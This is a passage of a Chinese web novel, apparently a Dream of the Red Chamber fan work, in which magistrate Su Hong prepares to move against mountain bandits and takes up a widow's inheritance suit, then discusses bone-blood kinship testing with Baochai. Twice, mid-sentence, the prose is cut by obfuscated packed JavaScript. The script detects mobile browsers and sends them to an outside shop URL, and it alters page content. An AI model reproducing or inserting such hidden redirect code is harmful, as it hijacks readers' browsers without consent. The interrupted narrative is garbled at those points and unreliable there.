周阳跟苏鸿打交道久了，知道他不是那些酒囊饭袋的昏官。听苏鸿说不必着急，他便清楚苏鸿定是另有打算。他并未多言，得了准话便下去了。陆生待他走后，方说道：“大人心心念念剿匪一事，周典史如此主动，为何还要推拒呢？” 主动请缨与上官安排是两个概念，他虽觉时机不够成熟，但周典史既然有此决心，就该先答应下来才对。若再拖延下去，周典史心中怕也没了主意。 苏鸿并未回答，转而问道：“岐山脚下的几个村子，可有特殊情况上报没有？我想，那些强盗在山中生活，柴火好说，粮食、盐等总不可能自给自足。若是能找出他们在何处买卖，也能顺藤摸瓜。” 陆生素来心细，听苏鸿此问便道：“并无百姓上报。粮食好说，盐却未必是买的。寻常百姓买了盐回家也舍不得吃，更别说没有户籍、没有正经身份的强盗，不见得就能买到盐。” 虽说盐是朝廷专卖，然而制盐之法并不算什么秘密，甚至十分简单。他有秀才功名，尽管不曾实践过，也清楚制盐的流程。不去做盐反而要去买，无非是因为这事被发现了是要被砍头的，他才娶了妻，自觉还没活够呢。 寻常百姓虽不知如何制盐，然而流程简单，保不齐他们就从哪里知道了这个法子。二来，对于强盗来说，想要盐并不用费多大力气，直接强抢就是。从前过往的商队较为频繁，若是运气好，抢到一车盐也不是罕事。 至于这些强盗有没有跟官府、乡绅勾结，几乎是肯定的。但平安州的势力早就被洗了一遍，眼下没人能当强盗的靠山，不足为惧。 陆生一边说着，一边又事无巨细给苏鸿解释。苏鸿听陆生如此说，方察觉自己太过死板，笑着赞道：“还是你脑子灵活。先前本官还想着强盗会不会与买卖私盐有关，倒是没想到还有别的可能。” 73.绝户 做地方官时日久了，苏鸿才明白为何新官上任都要带着自己的师爷和幕僚。都说智者千虑必有一失，他算不得智者，自然更需要身边有人斧正提点。 他对陆生很是满意，又从宝钗处听闻莺儿婚后过得很不错，对他更多了一层放心。他笑道：“闲暇无事时，你也多看些圣贤书。我已去信给家里，请家中将我旧日用过的书和题册都寄过来，回头给你和苏浩当个参考。” 陆生喜不自禁，连说感谢。苏鸿摆手笑道：“说这些做什么，终究需要你自己用心去学，我也帮不了你太多。都是读书人，谁不想金榜题名、跨马游街？” 陆生笑着奉承道：“大人玩笑了。眼见大人如此学识、如此胸襟，能学到大人的一两分便尽够了。” 这话倒不是完全奉承，京城出来的人，论起见识和心性都不知比他们这些小地方的人高出多少。便是他娘子，虽说只是丫头出身，其言谈规矩也叫他十分佩服。连他父母，刚开始对金莺的出身颇有微词，相处后也都赞不绝口，反倒叮嘱他凡是多听娘子的意见。 苏鸿只是一笑，说了几句鼓励的话便打发他离开。 他灯下执笔，勾画出平安州的地形图。平安州城区只有几座小山，从城区向四周扩展分别是十五个镇，再向外便是村落。而平安州整个境内，唯有东北面是连着三四座高山，翻过山便是隔壁县。 好巧不巧，平安州大道的路基是为前朝时为运送军粮、输送补给所建，贯通南北。本朝建国后，为了省钱，修路时便直接按照前朝时筑好的路基，并未考虑到高山上会有强盗。因而强盗藏身的高山，距离平安州大道仅有十里，可谓拍马可达。 苏鸿不好昧着良心说话，若是太平盛世，人人都能吃饱穿暖，能凭着手脚挣钱，谁会想不开去做强盗。少不得是官逼民反，实在活不下去才这样行事。但错了就是错了，盘踞北山多年，不知抢了多少商队、祸害了多少百姓，饶恕不得。 他想了想，便命周阳过来，叫他在下首坐了。周阳不知苏鸿是有何事，心中不免忐忑。苏鸿见状，搁下笔说道：“今日的事，本官再三思量，是时候提上日程了。给你十日，你带着数十个快班衙役到北山脚下跟百姓打探情况。先弄清楚大致有几人、姓甚名谁、有何事迹或喜好。” 周阳一怔，蹙眉道：“那些强盗若是聪明，定会安插暗探、岗哨，我们一群人过去会不会打草惊蛇？” 苏鸿便道：“他们若是弃寨逃跑，自然更好。若是不逃，左右也就那些人。我已命师爷张贴布告，凡发现有陌生面孔来往的，速速报至官府。一旦查实是贼人，即可封赏。” 周阳是土生土长的平安州人士，对山上的那窝土匪倒也知之一二。想到他们眼下也确实没了靠山，虽说也有二三十号壮年男子，但他们衙门的人也不是吃素的，想摆布他们倒是不难。 他又立功心切，因而见苏鸿提起，他便一口答应下来。他轻车简从，从快班里挑了十号身手最好的衙役，便从马房里牵出几匹快马，招呼众人跟随离开。衙役们心知有事，便也不多问，当即便翻身上马。 苏鸿见周阳离去，心里再次复盘多次，想到如今衙门兵强粮足，理应不惧强盗，这才放下心。只是那些强盗手上沾血，鱼死网破之时，难免伤到衙役们。倒是还得给他们吃上一颗定心丸，才能让众衙役放开手脚做事。 苏鸿下定决心，当即便唤来苏浩，叮嘱他待周阳回来后，跟着他出去的衙役都翻倍赏银。若有伤者，请医问药的花费全部由衙门承担。若有因强盗亡故者，一次性发放五十两抚恤银子，在衙门给他家人寻个活计领薪。 苏浩并非小气的性子，但听苏鸿这般大手笔，也不由劝道：“大哥，县衙的银钱虽说被追回来一部分，终究也不算多。若敢有两个人伤亡，你这一年的俸禄都要赔进去，还要倒贴钱。这也不是长久之策，不如再考虑一番。” 苏鸿起身道：“让人家做着卖命的活，不出够银钱谁肯去干。便是他们有一腔赤胆忠心，他们总也要是养家糊口的人，岂能辜负他们。我虽不富裕，银钱还能周转过来。等把这些强盗打下来，平安州通了商，多少银钱挣不得。” 苏浩见他态度坚决，便也只好应下。 天色将晚，苏鸿正打算回后宅用饭时，苏珑忽然捧着一纸诉状进来。他连声道：“大人，有百姓递诉状过来，正巧是我接了。眼下人还在堂外候着，你瞧接还是不接？” 苏鸿闻言一惊，他到任月余，这还是第一次有百姓递诉状，当即便道：“我看看，叔父先坐。” 苏珑叹道：“告状的王氏寡妇，她丈夫病重身亡，现已下葬。他们夫妻二人膝下只有一个不满三月的男孩儿。刘大郎言称这男孩儿是弟妹王氏与其奸夫通奸所生，并非其弟刘二郎亲生子，要将王氏赶出其夫留下的房屋中。” “依我看，这刘大郎的心思实在太过歹毒。虽然已经开春，天气仍旧寒冷，却为了刘二郎遗留下的那些家产要置孤儿寡母于死地。王氏寡妇失业的，连如何过活都不好说，要是连栖身之地也被夺走，可谓彻底没了指望。” 苏鸿一边听着，一边接过诉状一目十行看下去，心中一沉，冷哼道：“竟然还有这样的事？吃绝户的心思这样明显，打量旁人都是傻子不成？叔父，这案子必须要接，还要判得漂亮，才能让百姓对我有初步的信任。” 律法有言在先，户主死亡后，财产由其子或父母继承。若无子且无父母，则由便由其女继承。若无女，则是同宗近支男丁继承。若以上都没有，便由寡妇继承家业。 然而现实中，别说亲女儿继承家产，就是有亲儿子，但凡此子年纪不大，也会被吃绝户。如刘大郎这般诬告王寡妇之子为通奸子的只是其中一种手段，多有一些村户人家没脸没皮，到家中便是一通搜刮，略能用的东西都被搬走。 苏鸿心说，此案倒不难办，但难在判案后王寡妇母子该如何生存。村里陈规陋习极多，又有族老、村长等在其中辖制，王寡妇便是赢了官司，回到村里也不会被人待见。村里的那些人，骂王寡妇贿赂官府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595189|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、不守妇道都是轻的。 他思忖片刻，先示意接下诉状，又命人将王寡妇及其讼师一并带到他跟前来，再到后宅请赵妈妈过来。风信等连忙传话，片刻就将一个抱着孩子、钗荆裙布的女子和一个形容清瘦的讼师领了进来。 王二娘没想到知州这样大的官竟会见自己，但她也确实穷途末路了。留下的房子和地她可以不要，但通奸的罪名一旦坐实，她是要被处以族规处死的。可怜她丈夫死前还说，幸好给她留了个儿子，没想到便是留了儿子也不顶用。 她见一屋子的男人里还有个上了年纪的老妈妈，心里才放松些许。她强忍着眼泪，哽咽一声，见了苏鸿便扑通一声跪下。 她哭道：“求太爷开开恩，我实在是走投无路了，才斗胆写了诉状。我自出嫁以来安分守己，从未逾越，谁知道我男人一去，大伯子看上我男人留下的房子，非要赶走我们母子，好霸占家财。” 苏鸿沉声说道：“你诉状上写的，可是实情？一五一十从头说来。” “我不敢欺瞒太爷，桩桩件件属实，”王二娘说道，“我自前年嫁给刘二郎，操持家里、洗衣做饭、织布女工并无一样落下，街坊邻居和家中妯娌公婆尽知。我每日在家中都与婆婆、妯娌一起，生产时又有稳婆，孩子千真万确是二郎的。” 苏鸿便问道：“你与讼师有何关系，又是如何聘请他的?” 王二娘忙道：“大伯子三天两头闹事，我被逼搬回了娘家。讼师是我哥哥在外做工时认得的，银钱也是哥哥帮我出的。公堂上，我不敢撒谎。若非大伯子非要坐实我通奸的罪名，我也不敢闹到公堂上，还请太爷开恩。” 她听说打官司的人，都要滚钉板、打杀威棒，但不来这一遭，族里更不会放过她。她已经出嫁，生是刘家的人，死是刘家的鬼，是死是活也只能看刘家。若非公婆尚算明理，暗地里拦着些大伯子，刘家早就带人把她抢回去浸猪笼了。 但她更明白，公婆以后还要指望大伯子养老。哪怕明知道自己是无辜的，孩子也是二郎的，他们绝不会说出真相。至于村里的其他人，看热闹不嫌事大，见公婆都默认了，更不会向着自己。 讼师本以为交了诉状就能走人，毕竟王二娘也只是想让官府还她清白，没要求把家产都还给她，论理太爷不会在意。虽说这二娘的哥哥也给不了自己太多钱，但这案子要判并不难，不过是写一纸诉状、走个过场而已。 他倒是没料到太爷竟会亲自查问，心里不由紧张起来。太爷不问还好，给典史和衙役们塞几个钱，还了王二娘清白便是。但太爷真要过问，那些衙役岂会放弃这个勒索的好机会。 他有些紧张，也连忙说道：“小子是前科童生，为了家计便接些写诉状的活计。王娘子的哥哥来找我，小子深为同情，便接下此案。” 苏鸿点点头，又问了几句，心里有数后便让他们安心回去。又说道：“此案本官已然受理，若刘家前来索人，你们便如实说明。你既然住在娘家，判案前就不要轻易挪动。” 74.滴骨验亲 王二娘与讼师见苏鸿如此说，猜测他定是十分同情。然而苏鸿面色淡淡，虽未疾声厉色，终究也不像会偏向他们的意思。 他们心中惴惴不安，在衙役们的催促下才离开衙门。宋云早已听到消息赶来，见他们离开才上前拜见。 苏鸿见宋云过来，将诉状递给宋云道：“刘家指责王二娘通奸生下奸生子，不该继承刘二郎留下的房屋和土地。王二娘不服，躲到娘家，让她哥哥寻了位讼师，告到衙门来。” 是非对错，并非王二娘一面之词即可判断。然而现实中，想吃绝户的人太多，为了霸占遗产，男方族人什么下三滥的事都做得出来。 刘家是妯娌两个，又有婆母在堂，王二娘想通奸也不可能同时支开两人。即便是真的，为何早不爆出、晚不爆出，偏偏刘二郎一死便被人揪住错处。 宋云在地方上摸爬滚打许多年，对这些事也屡见不鲜。他仔细看了看诉状，蹙眉道：“刘家只有二子，刘家父母依靠长子养老，怕是不会说出实情。” 在村里，一个亲孙子算什么，只有能养老的亲儿子才是真的亲，连死了的也可以当没生过。也亏得王二娘有个好娘家，能容忍她躲过去，不然早被卖了。 虽说闹到公堂上，王二娘能落个清白的名声，然而她一旦回了刘家村，早晚还是会被杀或被卖。何况他们才刚刚上任就压着刘家村办事，恐怕百姓会心有不服。 到时候风言风语传出来，他自己的名声倒没什么。就怕苏知州素来结交的是体面人，一下接受不了底层百姓的野蛮。 他便劝道：“苏大人，王二娘是孤儿寡母，刘氏一族却是几十号男丁，轻易不能得罪。依我看，不如让王二娘撤回诉状，把刘二郎留下的东西交给刘氏一族。刘家得了钱财，想必也不会再追究王二娘。她尚且年轻，趁着事情没有传出去也好改嫁。” 到时候一上公堂，平安州的百姓都会知道此事，反而会让王二娘被人指指点点。他们可不管王二娘到底有没有与旁人有首尾，见她一个女人家抛头露面打官司，背地里指不定会说什么难听话。到那时，别说一个女人家，就是男人被千夫所指也受不了。 苏鸿便道：“我何尝不想息事宁人，悄悄压服此事。我已询问王二娘，她并非舍不得钱财的人。刘大郎要置她于死地，不单是钱财的缘故。孰是孰非，过几日提刘大郎夫妇及其父母上堂，一问便知。” 他倒是叫赵妈妈去问了王二娘的意思，好话歹话说尽，王二娘却说刘大郎夫妇一心要坐实她通奸的名声，不上公堂无法解决。再细问时，连王二娘也不知什么时候得罪了他们夫妇二人。 她有如此胆识，苏鸿也不至于怕事。至于刘氏一族，只要此案有理有据，压服众百姓口声，不怕他们掀起浪来。公堂上，就看双方人证、物证是否齐全了。 宋云见苏鸿打定主意，也知道自己劝不动，便索性依从苏鸿的主意。他又吩咐衙役们到刘家村去一趟，告知王二娘状告刘家一事，让他们听命候审，不得骚扰王家。 眼见早过了下衙的时辰，苏鸿便命众人先散了，明一早再办。宋云本想请苏鸿出去喝酒，苏鸿笑着摆手道：“我素来不好饮酒，你们下了衙小酌几杯便罢，不可吃醉了。” 他除了刚来时受邀参加宴请外，如今渐渐都不去了。虽说饭局上能谈的东西不少，但实实在在的东西却要私下谈。他懒得应酬，也不想跟人谈情分，索性都公事公办。有好事便嘉奖，做了坏事便惩罚，时间一长旁人也知道他的脾性。 待苏鸿回后宅时，宝钗正在盘账。她见苏鸿回来，手上仍不停拨动算盘，却笑道：“怎么回来这样晚，炉子上还煨着粥，先用些垫垫。”她将手上的账算完，才都归置到一处，笑着坐到苏鸿身边。 苏鸿正捧着碧粳米粥暖手，见她依偎过来便道：“下了衙本要回来，谁知道临了有人来递诉状，我过问了几句，这才回来晚了。”说着便将王二娘之事细细告知宝钗，又想起薛家，不由暗叹虽说都是家主早逝，但人跟人之间可谓天差地别。 薛父亦然早逝，然而薛叔操持两房家业，却并未存有半点私心。待薛叔去世后，薛蟠比薛蝌年长许多，也不曾拐骗他名下的家业。虽说如今都被皇家收走了，但兄弟姊妹间的亲情仍在，谁都不曾怨怪。 可见古语所说衣食足而知荣辱不假。他不信刘大郎及其父母不知道刘二郎的财产该归谁所有，但他们仍旧这样做了。百姓连温饱都顾不上，哪怕明知所作所为是错的，也会歪曲事实达成自己的目的。 宝钗闻言先是蹙眉，随即说道：“这可坏了。众口铄金积毁销骨，王娘子便是清白的，这消息传出来，在众人口中也变得不清白起来。既然是她大伯子要告，无论真假，街坊四邻和她婆母等人自然不会向着她。” 苏鸿也叹道：“正是这话。判案讲究人证物证俱全，这王二娘便是生了十条舌头也说不过那么多人。至于物证……刘二郎都已下葬，去哪里找物证来？” 宝钗沉吟片刻，说道：“虽有滴血验亲，但刘二郎已死，若用刘大郎或其父的血，只怕刘大郎反口说此子是他亲生子。前朝有提刑官著《洗冤集录》，其上载明滴骨验亲。我虽觉不实，但想来也有几分道理，民间亦将此法奉为圭臬。若滴骨验亲，流言不攻自破。” 她确实不曾接触过尸身，但也知晓人死之后肌骨渐渐腐烂。若是骨头表面已酥腐，留下孔洞，自然是谁的血都能沁入其中。然而不单民间，乡绅、士大夫也多信奉此法。虽说此法有疏漏，但也确实可用。 苏鸿一怔，连忙问道：“我只听话本上讲过滴血验亲，倒是不曾听过还有滴骨验亲之法。还请宝卿细讲，若果真可行，便是铁证如山。” 宝钗因而细细讲起，连带着此法的缺陷也分析得十分透彻。苏鸿便笑道：“宝卿的顾虑我明白，但此法只留作不得已时的备选。升堂之时，自是先命双方及人证陈情。口供能否对上，证言是真是假，谁在心虚，到了公堂上便能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601372|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看出七分。” 何况还有最简单的法子，孩子或多或少都与生父生母有相似之处。到时候对比刘大郎和刘氏公婆的面相，一看便知。只要确认孩子是刘二郎的，滴骨验亲也不过是让证据更加充实。 ——至于方法并不牢靠，滴血验亲、扶乩占卜、夜宿城隍庙遇仙的法子也并非完全牢靠。只要这些证据的指向与人证、口供及其他物证一致，做出正确的判断并不难。 他接任知州接连几月，不曾倚仗身份生出是非，平安州百姓脑海中紧绷的弦也微微放松。为了进一步加深百姓对他的信任，第一次审案极为关键。唯有让百姓相信他，他想做的事才会有人支持。 宝钗见苏鸿心中有数，便只微微一笑。她又道：“无论孰是孰非，王娘子定是回不去刘家村了。若孩子果真是刘二郎的，我想着……是不是能让她把田地和房产卖了，在她娘家或城里重新安置。我正筹备着杂料铺，正是用人的时候。” 她确实不喜太过钻营的人，然而王娘子有如此胆识实在难得。她又难得与母亲同出一姓，既然困顿至此，帮一把也没什么。便是此人不中用，胡乱让她做两个月缓一缓也好。 苏鸿没想到宝钗会考虑得如此周全，想来也觉这是个好办法，便笑道：“我和宋云还正发愁日后怎么安置她，宝卿愿意出面就再好不过了。” 他将用做夜宵的粥一饮而尽，便吩咐风信明日去将宝钗所提及的几本书都买回来。他托腮看着宝钗灯光下盘账的模样，心中神往，不免说道：“往日大哥赞你最是博学，无书不读，我还觉得大哥夸张。我现在也彻底服了，竟连这样偏门的书都有涉猎。” 宝钗头也不抬，笑道：“你自小忙着读圣贤书，为科举考功名准备，哪里有心读这些杂书。现今想起来，我幼年时读过的杂书当真不少，有用的没用的一箩筐。当初看这个时，我还想着日后用不上，没想到今日也能用上。可见但凡是正经书，就没有不可用的。” 一边说着，她又调笑道：“先前我和林妹妹谈起读书时，还说未闻有一心辅佐今上、明理治民的官员，都把书给糟蹋了。那书若有灵，昏官贪官去读，说不定还要喊着救命。你若去读，恨不得你即刻领悟呢？” 这话夸得苏鸿有些羞赧，凑过去搂住宝钗笑道：“单我自己，如何做尽天下事、如何读尽天下书？少不得求你这位博学的通人帮忙，你可不能躲懒，把我一个人撂下了。” 宝钗一笑，扭身推开苏鸿，嗔道：“都说男耕女织、男外女内，偏你不一样，事事都拉上我。叫人家知道，还不笑话我不守本分？” 她并不怕旁人说嘴，只是行为举止若太过超前，难免会引来非议。议论她一人没什么，就怕传扬出去，旁人会说安和依靠女子，于他仕途不利。 苏鸿却并不在意，见宝钗这般说，便正色道：“男耕女织是本分不假，我日后致仕也是如此。但既然读书认字、通晓道理，又是为民造福的好事，何必担忧旁人的目光。”